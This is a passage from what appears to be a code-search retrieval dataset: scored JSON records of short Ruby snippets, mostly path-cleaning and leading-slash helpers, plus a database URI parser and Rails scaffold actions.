"text": "def database_configuration\n uri = URI.parse(OPTIONS[:credentials])\n qs = uri.query ? Hash[URI::decode_www_form(uri.query)] : {}\n ui = uri.userinfo ? uri.userinfo.split(':') : Array.new { nil }\n\n ports = {\n postgres: 5432,\n mysql: 3306,\n sqlite: nil\n }.with_indifferent_access\n\n encodings = {\n postgres: \"utf-8\",\n mysql: \"utf8\",\n sqlite: \"utf-8\"\n }.with_indifferent_access\n\n adapters = {\n postgres: \"postgresql\",\n mysql: \"mysql2\",\n sqlite: \"sqlite3\"\n }.with_indifferent_access\n\n {\n encoding: qs[\"encoding\"] || encodings[uri.scheme] ,\n adapter: adapters[uri.scheme],\n host: uri.host,\n port: uri.port || ports[uri.scheme],\n database: uri.path[1..-1],\n username: ui.first,\n password: ui.last,\n reconnect: qs[\"reconnect\"] || true,\n pool: qs[\"pool\"] || 5,\n sslverify: OPTIONS.ssl?\n }\nend",
"title": ""
},
{
"docid": "6b6c6f31f08e571c295b2dde70472ef2",
"score": "0.47560403",
"text": "def uses_both_quotes?\n !(@value =~ /'/).nil? && !(@value =~ /\"/).nil?\n end",
"title": ""
},
{
"docid": "8ac73f53ccc63f99ee362264567f9361",
"score": "0.47525465",
"text": "def is?(type)\n connection_string.is?(type)\n end",
"title": ""
},
{
"docid": "3121f9cb5258d5444e3c23802ac290f0",
"score": "0.47518465",
"text": "def initialize(str)\n str.strip!\n str = str.split(/=/)\n str[1].strip!\n str[1] = str[1][1..-2] if str[1][0..0] == \"'\" \n str[1] = str[1][1..-2] if str[1][0..0] == \"\\\"\" \n @value = {str[0].strip.downcase.to_sym => str[1].strip}\n end",
"title": ""
},
{
"docid": "60d2168f192a98cfc3d34de6aa6de0f3",
"score": "0.4741618",
"text": "def query_string=(query_string)\n if query_string.nil?\n fail ArgumentError, 'invalid value for \"query_string\", query_string cannot be nil.'\n end\n @query_string = query_string\n end",
"title": ""
},
{
"docid": "691be057d80dc13d0056bfd7bda1fb86",
"score": "0.4738752",
"text": "def parsed_uri\n @parsed_uri ||= URI.parse(uri.sub(\"jdbc:\", \"\"))\n end",
"title": ""
}
] |
b44d715f2d65d768fd479be0762fda89
|
Removes the first character, "/" Examples: 1) /public/yata.css becomes public/yata.css 2) /public/nested/file.jpg becomes public/nested/file.jpg
|
[
{
"docid": "e366b36228b6afa334cfd4d7f4231779",
"score": "0.0",
"text": "def static_asset_path\n return '' unless static_asset?\n\n @path[1..-1]\n end",
"title": ""
}
] |
[
{
"docid": "d6ec18720975b51940f7280c4099da71",
"score": "0.73617125",
"text": "def clean_path(path)\n if path\n (path[0] != '/' ? path.insert(0, '/') : path).gsub(/\\/{2,}/, '/')\n end\n end",
"title": ""
},
{
"docid": "ce375ab558f49c342b1a9c7fc3cd848f",
"score": "0.7279548",
"text": "def clean_path(directory)\n directory.gsub(/\\/\\//, '/')\n end",
"title": ""
},
{
"docid": "f8650e545a4f1359ee4d393143dfdea6",
"score": "0.7263875",
"text": "def remove_leading_slash(path); end",
"title": ""
},
{
"docid": "c10a46ce63400963aacb28942f93940c",
"score": "0.7250408",
"text": "def path_clean(file_path)\n file_path.gsub(\"#{RAILS_ROOT}/public/stylesheets/\", \"\")\n end",
"title": ""
},
{
"docid": "40ab89811e0a21d8bd82e2105acebf58",
"score": "0.7065229",
"text": "def normalize_path(path)\n path.sub(%r{^/}, '').tr('', '')\n end",
"title": ""
},
{
"docid": "10a49eaad009ecfa7441b633db073a60",
"score": "0.7006761",
"text": "def sanitize_path\n gsub(/[\\/: ]/,'_')\n end",
"title": ""
},
{
"docid": "3903096ca06971a06c48b3d7b58fea02",
"score": "0.69285357",
"text": "def chop_leading_slash filename\n filename.sub %r{^/}, \"\"\n end",
"title": ""
},
{
"docid": "d74d52e4f346a3b904daff6faa1396a4",
"score": "0.6914549",
"text": "def normalize_path(path)\n path = \"/#{path}\"\n path.squeeze!('/')\n path.sub!(%r{/+\\Z}, '')\n path = '/' if path == ''\n path\n end",
"title": ""
},
{
"docid": "63d87fe2c6836fe55016bb31dd6abb79",
"score": "0.6911491",
"text": "def clean_path(path)\n path.sub(/^\\//,'')\n end",
"title": ""
},
{
"docid": "6d54f7cf4daa801c5d79fcd2a20ad860",
"score": "0.6893039",
"text": "def unslashed(path)\n path.sub! /\\/$/, '' if path.end_with? '/'\n return path\n end",
"title": ""
},
{
"docid": "96aa92054bebf7c260f18c1b9d588faf",
"score": "0.6886082",
"text": "def remove_slash(str)\n\t\tarr = str.split('/')\n\t\tret = arr.first\n\t\tarr.delete_at(0)\n\t\tarr.each { |s|\n\t\t\tif s != ''\n\t\t\t\tret += \"/#{s}\"\n\t\t\tend\n\t\t}\n\t\tret\n\tend",
"title": ""
},
{
"docid": "35d5a4412d279fef064a8e754d8b27b1",
"score": "0.6851377",
"text": "def cleanpath\n names = []\n split('/').each do |name|\n case name\n when '..'\n names.pop\n when '.'\n when ''\n else\n names.push name\n end\n end\n names.join('/')\n end",
"title": ""
},
{
"docid": "d79d0e04ae760505b378b9d20501b267",
"score": "0.68339604",
"text": "def normalize_path(path)\n path = \"/#{path}\"\n path.squeeze!('/')\n path.sub!(%r{/+\\Z}, '')\n path = '/' if path == ''\n path\n end",
"title": ""
},
{
"docid": "ccf4de742beb9d74f56e40f0f31d6e84",
"score": "0.6815514",
"text": "def sanitize_path(path)\n # joining (e.g. `foo + \"/\" + bar`)\n path = path.gsub(/^\\/+/, '/')\n\n # remove leading and trailing slash\n return path.sub(/^\\//, '').sub(/\\/$/, '')\n end",
"title": ""
},
{
"docid": "486536485044a975a5de19f1180043af",
"score": "0.68049353",
"text": "def sanitize_path(path)\n # joining (e.g. `foo + \"/\" + bar`)\n path = path.gsub(%r{^/+}, \"/\")\n\n # remove leading and trailing slash\n path.sub(%r{^/}, \"\").sub(%r{/$}, \"\")\n end",
"title": ""
},
{
"docid": "87e8a434ed95ad3514490b8f6e987cca",
"score": "0.68048084",
"text": "def sanitize_path(path)\n path.gsub(/\\.\\.(?=$|\\/)/, '') unless path.nil?\n end",
"title": ""
},
{
"docid": "d1559415c61b58ae4422911408c90657",
"score": "0.6804258",
"text": "def sanitizeFilePath(path)\n path = path.gsub(/[^-a-z A-Z0-9_.\\/]/, '_').split(\"/\").map { |part|\n part.sub(/^\\.+/, '_').sub(/\\.+$/, '_')\n }.join('/')\nend",
"title": ""
},
{
"docid": "f4415581ffbe4487a8512857ba74e8f7",
"score": "0.67230654",
"text": "def prepare(path)\n path.delete_prefix('/').gsub(%r{//}, '/').gsub(%r{/+\\z}, '')\n end",
"title": ""
},
{
"docid": "97d2395529b7d94a5f76b55691f496fb",
"score": "0.66556287",
"text": "def sanitize_path(path)\n newpath = path.gsub(/\\/+/, '/')\n while newpath.gsub!(%r{([^/]+)/\\.\\./?}) { |match|\n $1 == '..' ? match : ''\n } do end\n newpath.gsub(%r{/\\./}, '/').sub(%r{/\\.\\z}, '/')\n end",
"title": ""
},
{
"docid": "a99dd20b8e22e3d08d7e6eb9b6104952",
"score": "0.6654496",
"text": "def trim(path)\n path.to_s.sub(/^\\/*/, \"\")\n end",
"title": ""
},
{
"docid": "29fdd52a5f80fcb571daadc9ea86a730",
"score": "0.6635723",
"text": "def normalised_name(path)\n path == '/' ? '/' : File.basename(path)\n end",
"title": ""
},
{
"docid": "d7a8318d4f8bca3e663a4e4e0c2ac4f0",
"score": "0.6593929",
"text": "def fix_url_folder(url)\n url\n .sub(/\\/(users|boards|galleries|characters)\\/(\\d+)(\\?|#|$)/, '/\\1/\\2/\\3')\n .sub(/\\/(users|boards|galleries|characters)(\\?|#|$)/, '/\\1/\\2')\n end",
"title": ""
},
{
"docid": "9e10b6330acf26f6761b54ecd5fb793a",
"score": "0.65869236",
"text": "def remove_path(file_path)\n\t\tfile_path.reverse.split(\"/\", 2)[0].reverse\n\tend",
"title": ""
},
{
"docid": "5957bcfb728a7a8054d1d2d88d7bae7c",
"score": "0.6553583",
"text": "def remove_dot_from_path(path)\n path.strip.split('/').reject { |dir| dir == '.' }\nend",
"title": ""
},
{
"docid": "ad2c6d271c986eaf5e001b2dc7fb4346",
"score": "0.6533179",
"text": "def strip_slash(input)\n if input =~ /(.+)\\/$|^\\/$/\n input = $1\n end\n input\n end",
"title": ""
},
{
"docid": "ad2c6d271c986eaf5e001b2dc7fb4346",
"score": "0.6533179",
"text": "def strip_slash(input)\n if input =~ /(.+)\\/$|^\\/$/\n input = $1\n end\n input\n end",
"title": ""
},
{
"docid": "d0d97c446c0e4f4ab8a8b76930a10be0",
"score": "0.6449142",
"text": "def normalize_path(path)\n raise if !path.instance_of?(String)\n\n path = path.strip\n if path.size == 0\n path = \"/\"\n end\n if path[0] != \"/\"\n path = \"/\" + path\n end\n return path\n end",
"title": ""
},
{
"docid": "1757d37314d84fc9079605003d8be765",
"score": "0.6433655",
"text": "def clean_url url\n return url if url.nil?\n url.gsub('%2F', '/').gsub(/^\\/+/, '').gsub('//', '/')\n end",
"title": ""
},
{
"docid": "7b42621bfe97fad302323decd7376078",
"score": "0.6419518",
"text": "def cleanup_pathname(path)\n return CGI.unescape(path).gsub(@music_root, '').gsub(%r{file:/+}, '').gsub(%r{^/+}, '')\n end",
"title": ""
},
{
"docid": "e6f316d6abcce525aabfc58e8dc5b3ff",
"score": "0.6418351",
"text": "def clean_path(path)\n parts = []\n parts = path.split SEPS\n clean = []\n parts.each do |part|\n next if part.empty? || part == '.'\n part == '..' ? clean.pop : clean << part\n end\n @path = File.join(*clean)\n end",
"title": ""
},
{
"docid": "01d6de83134d435e717996fd3d7d5c38",
"score": "0.64089286",
"text": "def normalize_path(path); end",
"title": ""
},
{
"docid": "01d6de83134d435e717996fd3d7d5c38",
"score": "0.64089286",
"text": "def normalize_path(path); end",
"title": ""
},
{
"docid": "4b70efed12b13ad0e1e234ff693ff66d",
"score": "0.6395531",
"text": "def canonical_path\n p = path.gsub(/\\/+/,'/')\n p.length > 1 ? p.chomp('/') : p\n end",
"title": ""
},
{
"docid": "bb368383cc07c8617d6b06e11986fe55",
"score": "0.6369266",
"text": "def normalize(path)\n path.gsub(/\\\\/, \"/\")\n end",
"title": ""
},
{
"docid": "944d3e60290d91f6df6017c1f32e88c4",
"score": "0.6364504",
"text": "def normalize_path(path)\n path.sub(/^\\//, \"\").gsub(\"%20\", \" \")\n end",
"title": ""
},
{
"docid": "166b0b23be1489440f8d94a36b6bc79e",
"score": "0.63545454",
"text": "def relativize_path(path)\n path.to_s.gsub(/^\\/?#{Regexp.escape(root_path.to_s)}\\/?/, '')\n end",
"title": ""
},
{
"docid": "ef85e9b1fd1bc5a8be16228082c5ca6f",
"score": "0.63447964",
"text": "def path_without_name_and_ref(path)\n Jekyll.sanitized_path theme.root, path.split(\"/\").drop(1).join(\"/\")\n end",
"title": ""
},
{
"docid": "a5cd195c5bb87fd0fc9cf52b0d26a2d2",
"score": "0.6337806",
"text": "def sanitize_file_path(entry)\n parts = entry.name.split(File::SEPARATOR)\n parts.shift\n parts.join(File::SEPARATOR)\n end",
"title": ""
},
{
"docid": "574afa12951e0954c01170183bc73c79",
"score": "0.6300373",
"text": "def sanitize_path(path)\n if path.include?(\" \")\n new_path = path.gsub(\" \", \"_\")\n `mv \"#{path}\" #{new_path}`\n path = new_path\n end\n path\n end",
"title": ""
},
{
"docid": "c3e919471cae5377eca695fd43adab95",
"score": "0.62979335",
"text": "def sanitize_filename(value)\n # get only the filename, not the whole path\n just_filename = value.gsub(/^.*(\\\\|\\/)/, '')\n # Finally, replace all non alphanumeric, underscore or periods with underscore\n just_filename.gsub(/[^\\w\\.\\-]/,'_') \n end",
"title": ""
},
{
"docid": "89d0e52c6b10446fcc361d9930a85d3d",
"score": "0.6295388",
"text": "def fix_path(path)\n\t\t\tpath ||= \"\"\n\t\t\tpath = \"/#{path}\" unless path.start_with?(\"/\")\n\t\t\tpath = \"#{path}gitcommits.atom\" if path.end_with?(\"/\")\n\t\t\treturn path\n\t\tend",
"title": ""
},
{
"docid": "7cb6ced99f83c38243ae07b5ca10f4ba",
"score": "0.6285732",
"text": "def remove_prefix(conten)\n conten.gsub(/#{path_prefix}([^\"]*)/, \"\\\\1.json\")\n end",
"title": ""
},
{
"docid": "860a0496e2dc93cc4b7a72cb66572f1f",
"score": "0.6277412",
"text": "def clean_path(component)\n component.to_s.gsub(/[^a-zA-Z0-9\\-_]/, '_')\n end",
"title": ""
},
{
"docid": "91b446094ac9299c20857b1c8439cedb",
"score": "0.62725866",
"text": "def slashless_url(url)\n url.chomp('/')\n end",
"title": ""
},
{
"docid": "5d547add63de90b6b7b1009086a869c8",
"score": "0.62625813",
"text": "def normalized_asset_path(path)\n path.sub(/^\\/assets\\//, \"\")\n end",
"title": ""
},
{
"docid": "9641ab755d3676f657537dfa06df96ce",
"score": "0.6259589",
"text": "def format_path(path)\n path.blank? ? '' : path.gsub(%r{^/+}, '')\n end",
"title": ""
},
{
"docid": "ad4726fcf7b1c5d7e6f0c06dcc3745c4",
"score": "0.6249318",
"text": "def cleanpath\n path = @path\n names = []\n pre = path\n while r = chop_basename(pre)\n pre, base = r\n case base\n when '.'\n when '..'\n names.unshift base\n else\n if names[0] == '..'\n names.shift\n else\n names.unshift base\n end\n end\n end\n if /#{SEPARATOR_PAT}/o =~ File.basename(pre)\n names.shift while names[0] == '..'\n end\n self.class.new(prepend_prefix(pre, File.join(*names)))\n end",
"title": ""
},
{
"docid": "1544d78d998750d4a3fb427cab943532",
"score": "0.6231518",
"text": "def reduce_path(path)\n if path =~ /^(https?:\\/\\/.+)(\\/.*)/\n prefix = $1\n path = $2\n relative = false\n else\n prefix = nil\n relative = path[0] != '/'\n end\n\n while path.sub!(/\\/*[^\\/]+\\/+\\.\\./, ''); end\n while path.sub!(/\\/+\\.\\/+/, '/'); end\n path = path[2..-1] if path[0..1] == './'\n while path.sub!(/\\/\\//, '/'); end\n\n path = path[1..-1] if relative and path[0] == '/'\n path = prefix + path if prefix\n path\n end",
"title": ""
},
{
"docid": "0311b54037d71819268fe59acabde3dc",
"score": "0.62309533",
"text": "def humanish(uri)\n uri.path.split('/').last.gsub('.git', '')\n end",
"title": ""
},
{
"docid": "2087f26a7163e126ed11c5244728d741",
"score": "0.6230392",
"text": "def chop_path(path, base='.')\n full_base = File.expand_path(base)\n full_path = File.expand_path(path)\n if full_path == full_base\n '.'\n elsif full_path.start_with?(full_base)\n full_path[full_base.size+1..-1]\n else\n full_path\n end\n end",
"title": ""
},
{
"docid": "bdb0175b655415613305d2fce3c15be8",
"score": "0.622056",
"text": "def sanitize_path(path)\n if path.nil? || path.empty?\n \"\"\n else\n path.gsub(SANITIZATION_REGEX, \"\")\n end\n end",
"title": ""
},
{
"docid": "716102231f9c4e73bce406e7001b0fcd",
"score": "0.62195116",
"text": "def cleaned_relative_path\n @cleaned_relative_path ||=\n relative_path[0..-extname.length - 1]\n .sub(collection.relative_directory, \"\")\n .gsub(%r!\\.*\\z!, \"\")\n end",
"title": ""
},
{
"docid": "ffd638ec9dd737addfac67348a2560db",
"score": "0.62167156",
"text": "def cleanpath_aggressive\n path = @path\n names = []\n pre = path\n while r = chop_basename(pre)\n pre, base = r\n case base\n when '.'\n when '..'\n names.unshift base\n else\n if names[0] == '..'\n names.shift\n else\n names.unshift base\n end\n end\n end\n if File.basename(pre).include? '/'\n names.shift while names[0] == '..'\n end\n Path.new(prepend_prefix(pre, File.join(*names)))\n end",
"title": ""
},
{
"docid": "8abb08432d258796a2bd6ec7f7ef902f",
"score": "0.61872494",
"text": "def sanitize_url(value)\n value = sanitize_string(value)\n value = value.sub('./', '') if value.start_with?('./')\n value\n end",
"title": ""
},
{
"docid": "c00245d99204835984ac61fd5ae597d6",
"score": "0.618279",
"text": "def clean_path(path)\n\t\t\tif @posix_support\n\t\t\t\treturn path\n\t\t\telse\n\t\t\t\treturn path.gsub(/\\//,'\\\\')\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "adae1b996cad2b32738a00136cae074c",
"score": "0.6176306",
"text": "def strip_regex_from(value)\n value.gsub(/^\\/|\\/$/,'')\n end",
"title": ""
},
{
"docid": "1afbd83e92171a11eea570cb370ee61f",
"score": "0.61726063",
"text": "def cleanpath(path)\n Pathname.new(path).cleanpath.to_s\n end",
"title": ""
},
{
"docid": "099fa785c5fc0f3fd9894f48755c1d0b",
"score": "0.6167169",
"text": "def scrub_path(p)\n np = \"\"\n for i in 0..(p.size-1)\n c = p[i]\n if c == '/'\n c = '\\\\'\n end\n np += c\n end\n np\nend",
"title": ""
},
{
"docid": "aae2faff0a26e3bc7381256f1b7d4560",
"score": "0.6165838",
"text": "def sanitize_filename\n name = self.strip\n #--- get only the filename, not the whole path\n name.gsub! /^.*(\\\\|\\/)/, ''\n\n #--- Finally, replace all non alphanumeric, underscore or periods with underscore\n name.gsub! /[^\\w\\.\\-]/, '_'\n return name\n end",
"title": ""
},
{
"docid": "ffe0c298ae4a76e761784ac44245516f",
"score": "0.61651146",
"text": "def fix_oneoff url\n begin\n uri = URI.parse url\n return (\"\" == uri.path) ? url + '/' : url\n rescue\n #puts \"Ran into issue processing #{url}\"\n end\n end",
"title": ""
},
{
"docid": "dfce06d276a0ca8c39eb73b387737fa4",
"score": "0.6158636",
"text": "def normalize_path(url); end",
"title": ""
},
{
"docid": "dfce06d276a0ca8c39eb73b387737fa4",
"score": "0.6158636",
"text": "def normalize_path(url); end",
"title": ""
},
{
"docid": "7d5bb0bd97a4e310db9d41d47a9affe3",
"score": "0.61409354",
"text": "def clean_source(source_uri)\n\n # remove slash from the start of the string\n if source_uri.starts_with?('/') then\n source_uri = source_uri[1, source_uri.length]\n end\n\n # remove http/ https/ ftp\n source_uri = source_uri.sub(\"(^((ht|f)tp(s|):\\/\\/))\", \"\")\n # remove domain name from the source url\n host = @request.env['SERVER_HOST']\n source_uri = source_uri.sub(host, \"\")\n host = host.sub(\"www.\", \"\")\n source_uri = source_uri.sub(host, \"\")\n\n # don't allow users the ability to use '../'\n # in order to gain access to files below document root\n\n # src should be specified relative to document root like:\n # src=images/img.jpg or src=/images/img.jpg\n # not like: src=../images/img.jpg\n\n source_uri = source_uri.sub(\"(\\.\\.+\\/)\", \"\")\n\n # get path to image on file system\n \"#{@base_path}/#{source_uri}\"\n\n end",
"title": ""
},
{
"docid": "680911e435372af89f178e74d41d44c7",
"score": "0.61317956",
"text": "def clean_path(file_path)\n if File.directory?(file_path)\n file_path = File.expand_path(file_path)\n end\n\n file_path\n end",
"title": ""
},
{
"docid": "12a9b15f7ef91988b672d2364e240257",
"score": "0.6131556",
"text": "def normalized_request_path(path)\n if path == \"/\"\n path\n else\n path.chomp(\"/\")\n end\n end",
"title": ""
},
{
"docid": "7d6f1291bb391f5daa7b7fb559f979df",
"score": "0.6118823",
"text": "def sanitize_path(path); end",
"title": ""
},
{
"docid": "4c43e213f222602bc9b9a85d677a5f70",
"score": "0.61141115",
"text": "def simplify_path(path)\n return '' if path.empty?\n\n start_with_slash = path[0] == '/'\n stack = []\n stack << '' if start_with_slash\n tokens = path.split('/')\n tokens.each do |token|\n case token\n when '..'\n stack.pop if stack[-1] != ''\n\n when '.', ''\n next\n else\n stack.push token\n end\n end\n\n return '/' if stack.length == 1 && stack[0] == ''\n\n stack.join('/')\nend",
"title": ""
},
{
"docid": "aff10aa48ffed62fa7fab236e8113563",
"score": "0.6101862",
"text": "def path\n return @path.sub(/^\\//,'').sub(/^%2F/,'/')\n end",
"title": ""
},
{
"docid": "0df0299d59e3769e4136978a36185162",
"score": "0.6086702",
"text": "def remove_from_base(file)\n file.sub!(mount_point, '')\n end",
"title": ""
},
{
"docid": "3c7eb5fc232619d23aa846a87abc2754",
"score": "0.6085884",
"text": "def path\n self.slug == '' ? '/' : \"/#{self.slug}\".gsub('//', '/')\n end",
"title": ""
},
{
"docid": "661b25ab46b8724205da8ce9e01bf858",
"score": "0.6058169",
"text": "def normalize_req_path(req_path)\n # 1) Decode the req_path with URI::decode\n req_path = URI::decode(req_path)\n # 2) Strip first\n req_path = req_path.strip\n # 3) Remove first slash \n req_path = req_path[1..-1] if req_path[0,1]=='/'\n # 4) Remove last slash\n req_path = req_path[0..-2] if req_path[req_path.length-1,1]=='/'\n req_path\n end",
"title": ""
},
{
"docid": "49a53b505609a940a4784a5c41d96fcf",
"score": "0.6052905",
"text": "def url_safe_name\n name == '/' ? \"root-dir--#{file_type}\" : \"#{name}--#{file_type}\"\n end",
"title": ""
},
{
"docid": "626172b4a503133096788c71f7dfc186",
"score": "0.6041505",
"text": "def strip_http(url)\n \n # remove scheme\n if url.start_with?('http://')\n dest_url = url[7..-1]\n elsif url.start_with?('https://')\n dest_url = url[8..-1]\n else \n dest_url = url\n end\n\n # remove trailing \"meaningless\" characters\n if dest_url.end_with?('/')\n dest_url = dest_url[0..-2]\n end\n\n if dest_url.end_with?('#')\n dest_url = dest_url[0..-2]\n end\n\n return dest_url\n end",
"title": ""
},
{
"docid": "2b8ea1935faadbd69a32b9f38bcdfad6",
"score": "0.60381156",
"text": "def relative_url(url)\n url.gsub(%r{\\Ahttp://[^/]*}, '')\n end",
"title": ""
},
{
"docid": "2a58be32c81e730809c9e82e0f236cd5",
"score": "0.6034004",
"text": "def cleanpath(path)\n path = Pathname.new(path) unless path.is_a?(Pathname)\n pathname(path.cleanpath.to_s)\n end",
"title": ""
},
{
"docid": "5306825bf39fedae5df9b2364788d739",
"score": "0.60269576",
"text": "def facebook_path_scrub(url)\n return url.gsub('facebook/', '').gsub('/facebook', '')\n end",
"title": ""
},
{
"docid": "ab06de7f213f2b00b44718fb67770e28",
"score": "0.60223013",
"text": "def clean_path(path_str)\n path = Pathname.new(path_str).cleanpath\n if path.absolute?\n return path\n else\n return Pathname.new(\"./#{path}\")\n end\n end",
"title": ""
},
{
"docid": "48ab1ea3a61743fa6c3033acce883ced",
"score": "0.6021609",
"text": "def sanitized_dirname\n @remote.gsub(/[^@\\w\\.-]/, '-')\n end",
"title": ""
},
{
"docid": "359a81ff5c3cd8361866c34198261c05",
"score": "0.6012065",
"text": "def shorten2(path)\n p = get(path)\n home = Pa.home2\n\n return p if home.empty?\n\n ret = relative_to2(p, home)\n\n if ret == p\n p\n else\n ret == \".\" ? \"\" : ret\n File.join(\"~\", ret)\n end\n end",
"title": ""
},
{
"docid": "33be60b12943b927be4061f740cd2720",
"score": "0.6012047",
"text": "def chop_basename(path)\n base = File.basename(path)\n if base.empty? or base == '/'\n return nil\n else\n return path[0, path.rindex(base)], base\n end\n end",
"title": ""
},
{
"docid": "40fd2a8ce7a5c8a1f868e2633b48fd48",
"score": "0.5996829",
"text": "def filter_filename(filename)\n filename.gsub(/(\\.\\.\\/)/, '')\n end",
"title": ""
},
{
"docid": "d04343eae75019f9ebac99fb90bb0a27",
"score": "0.5995765",
"text": "def demodulize(path)\n path = path.to_s\n if i = path.rindex('::')\n path[(i+2)..-1]\n else\n path\n end\n end",
"title": ""
},
{
"docid": "d04343eae75019f9ebac99fb90bb0a27",
"score": "0.5995765",
"text": "def demodulize(path)\n path = path.to_s\n if i = path.rindex('::')\n path[(i+2)..-1]\n else\n path\n end\n end",
"title": ""
},
{
"docid": "5bc2d282526ba20bcc0ce398b7b69beb",
"score": "0.59798485",
"text": "def mangle(path)\n path.gsub(%r{^file://}, '')\n end",
"title": ""
},
{
"docid": "d98ea8b29e45053058203b60d9ec6522",
"score": "0.5978309",
"text": "def demodulize(path)\n path = path.to_s\n if (i = path.rindex(\"::\"))\n path[(i + 2)..-1]\n else\n path\n end\n end",
"title": ""
},
{
"docid": "7776d7e171fe695c2f8bcca4f4462f90",
"score": "0.5977426",
"text": "def safe_path(path)\n path.gsub(\"/\", \"^^\")\n end",
"title": ""
},
{
"docid": "8be5270e2b15a17eab9984ff32900668",
"score": "0.59756285",
"text": "def absolutize_url(url)\n # file_path = File.expand_path(File.join(working_directory, url))\n # full_path = File.expand_path(File.join(path, url))\n # full_path.gsub(File.expand_path(path), '')\n ('/' + url.split('./').last).gsub(%r(/+), '/')\n end",
"title": ""
},
{
"docid": "9bbbc9e07f7f617845d472b221069388",
"score": "0.5975164",
"text": "def requested_file(request)\n uri = request.split(\" \")[1]\n clean_path = []\n parts = uri.split(\"/\")\n\n # skip if path component includes current directory (\".\")\n parts.each do |part|\n next if part.empty? || part == '.'\n\n # removes last component if path goes one directory level up (\"..\"), pass; else append to clean_path\n part == '..' ? next : clean_path << part\n end\n File.join(ROOT, *clean_path)\nend",
"title": ""
},
{
"docid": "78262fe2baa6a06392ab3aefa78de322",
"score": "0.5972554",
"text": "def normalize_path_for_sorting(path)\n path.sub(/index.html$/, \"\")\n end",
"title": ""
},
{
"docid": "8875c9d808010913177e400e2b9fe1ee",
"score": "0.59621084",
"text": "def sanitized_path(base_directory, questionable_path); end",
"title": ""
},
{
"docid": "8875c9d808010913177e400e2b9fe1ee",
"score": "0.59621084",
"text": "def sanitized_path(base_directory, questionable_path); end",
"title": ""
},
{
"docid": "8875c9d808010913177e400e2b9fe1ee",
"score": "0.59621084",
"text": "def sanitized_path(base_directory, questionable_path); end",
"title": ""
},
{
"docid": "8875c9d808010913177e400e2b9fe1ee",
"score": "0.59621084",
"text": "def sanitized_path(base_directory, questionable_path); end",
"title": ""
},
{
"docid": "8875c9d808010913177e400e2b9fe1ee",
"score": "0.59621084",
"text": "def sanitized_path(base_directory, questionable_path); end",
"title": ""
},
{
"docid": "8875c9d808010913177e400e2b9fe1ee",
"score": "0.59621084",
"text": "def sanitized_path(base_directory, questionable_path); end",
"title": ""
},
{
"docid": "86acec6d1e87c3dde4b7698d629feb29",
"score": "0.5961582",
"text": "def normalize_url(url)\n\t\tbegin\n\t\t\turl.strip!\n\t\t\t# Converting the scheme and host to lower case in the process, i.e. 'HTTP://www.Example.com/' => 'http://www.example.com/' \n\t\t\t# Normalize the base\n\t\t\tbase=url_2_site(url) \n\t\t\t# Case#1, remove the trailing dot after the hostname, i.e, 'http://www.yahoo.com./' => 'http://www.yahoo.com/'\n\t\t\tbase=base.sub(/\\.\\/$/,'/')\n\t\t\t# Normalize the relative path, case#1\n\t\t\t# retrieve the file path and remove the first '/' or '.', \n\t\t\t# i.e. 'http://www.example.com/mypath' or 'http://www.example.com/./mypath' => 'mypath'\n\t\t\tpath=url_2_path(url).sub(/^(\\/|\\.)*/,'')\n\t\t\t# Normalize the relative path, case#2\n\t\t\t# Replace dot-segments. \"/../\" and \"/./\" with \"/\", i.e. 'http://www.example.com/../a/b/../c/./d.html\" => 'http://www.example.com/a/c/d.html'\n\t\t\tpath=path.gsub(/\\/\\.{1,2}\\//,'/')\n\t\t\tif path.nil?\n\t\t\t\treturn base\n\t\t\telse\n\t\t\t\treturn base+path\n\t\t\tend\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for #{url}: #{ee}\" if @verbose\n\t\t\treturn url\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e195db8cd372b9d569a3bc4080f15b05",
"score": "0.59483856",
"text": "def normalize_filter(filter)\n filter.sub(/^(\\/)/, '').sub(/(\\/)$/, '') if filter\n end",
"title": ""
},
{
"docid": "001271393fd80e579a2e3a1c4a70c34a",
"score": "0.5947938",
"text": "def remove_slashes(url)\n return url unless url.present? && url.include?('//')\n parts = url.split('//')\n return parts[0..1].join if parts.length > 2\n url\n end",
"title": ""
},
{
"docid": "3b9a62710d0cef05b4889df766a23cd6",
"score": "0.5945789",
"text": "def sanitize_filename(filename)\n filename.gsub(/.*[\\/\\\\]/, '')\n end",
"title": ""
},
{
"docid": "3b9a62710d0cef05b4889df766a23cd6",
"score": "0.5945789",
"text": "def sanitize_filename(filename)\n filename.gsub(/.*[\\/\\\\]/, '')\n end",
"title": ""
},
{
"docid": "3b9a62710d0cef05b4889df766a23cd6",
"score": "0.5945789",
"text": "def sanitize_filename(filename)\n filename.gsub(/.*[\\/\\\\]/, '')\n end",
"title": ""
}
] |
c17f0f809bff418575761c35dfe31b17
|
GET /post397s/new GET /post397s/new.xml
|
[
{
"docid": "645432e28ee92a331bdb6ba818b741cb",
"score": "0.74250627",
"text": "def new\n @post397 = Post397.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post397 }\n end\n end",
"title": ""
}
] |
[
{
"docid": "81b3f1a1b84b920cb9238937f847e899",
"score": "0.7630388",
"text": "def new\n @post200 = Post200.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post200 }\n end\n end",
"title": ""
},
{
"docid": "879cb66276bd00e582f27d8e6667c581",
"score": "0.7614828",
"text": "def new\n @post155 = Post155.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post155 }\n end\n end",
"title": ""
},
{
"docid": "237370d596b219c9076ed09e1aa324f3",
"score": "0.76069504",
"text": "def new\n @post185 = Post185.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post185 }\n end\n end",
"title": ""
},
{
"docid": "c4ad5f45b37920d7f530545468da98c9",
"score": "0.75985384",
"text": "def new\n @post145 = Post145.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post145 }\n end\n end",
"title": ""
},
{
"docid": "8a67ab941ea2bca112b72853b542fc6f",
"score": "0.75980204",
"text": "def new\n @post198 = Post198.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post198 }\n end\n end",
"title": ""
},
{
"docid": "14b8f052f8ca568be11efad6d3b84fa8",
"score": "0.759242",
"text": "def new\n @post201 = Post201.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post201 }\n end\n end",
"title": ""
},
{
"docid": "899c7715206429bb3edbf2e1076f7dc2",
"score": "0.753734",
